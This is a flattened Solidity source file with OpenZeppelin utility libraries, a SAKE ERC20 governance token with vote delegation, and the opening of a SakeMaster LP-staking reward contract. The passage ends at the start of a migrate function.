* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/SakeToken.sol
pragma solidity 0.6.12;
// SakeToken with Governance.
contract SakeToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name = "SakeToken";
string private _symbol = "SAKE";
uint8 private _decimals = 18;
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
_moveDelegates(_delegates[sender], _delegates[recipient], amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (SakeMaster).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SAKE::delegateBySig: invalid nonce");
require(now <= expiry, "SAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "SAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "SAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts/SakeMaster.sol
pragma solidity 0.6.12;
interface IMigratorChef {
// Perform LP token migration from legacy UniswapV2 to SakeSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// SakeSwap must mint EXACTLY the same amount of SakeSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once SAKE is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract SakeMaster is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of SAKEs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block.
uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs.
uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below.
}
// The SAKE TOKEN!
SakeToken public sake;
// Dev address.
address public devaddr;
// Block number when beta test period ends.
uint256 public betaTestEndBlock;
// Block number when bonus SAKE period ends.
uint256 public bonusEndBlock;
// Block number when mint SAKE period ends.
uint256 public mintEndBlock;
// SAKE tokens created per block.
uint256 public sakePerBlock;
// Bonus muliplier for 5~20 days sake makers.
uint256 public constant BONUSONE_MULTIPLIER = 20;
// Bonus muliplier for 20~35 sake makers.
uint256 public constant BONUSTWO_MULTIPLIER = 2;
// beta test block num,about 5 days.
uint256 public constant BETATEST_BLOCKNUM = 35000;
// Bonus block num,about 15 days.
uint256 public constant BONUS_BLOCKNUM = 100000;
// mint end block num,about 30 days.
uint256 public constant MINTEND_BLOCKNUM = 200000;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Record whether the pair has been added.
mapping(address => uint256) public lpTokenPID;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SAKE mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
constructor(
SakeToken _sake,
address _devaddr,
uint256 _sakePerBlock,
uint256 _startBlock
) public {
sake = _sake;
devaddr = _devaddr;
sakePerBlock = _sakePerBlock;
startBlock = _startBlock;
betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM);
bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM);
mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM);
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add.");
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accSakePerShare: 0
})
);
lpTokenPID[address(_lpToken)] = poolInfo.length;
}
// Update the given pool's SAKE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Handover the saketoken mintage right.
function handoverSakeMintage(address newOwner) public onlyOwner {
sake.transferOwnership(newOwner);
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
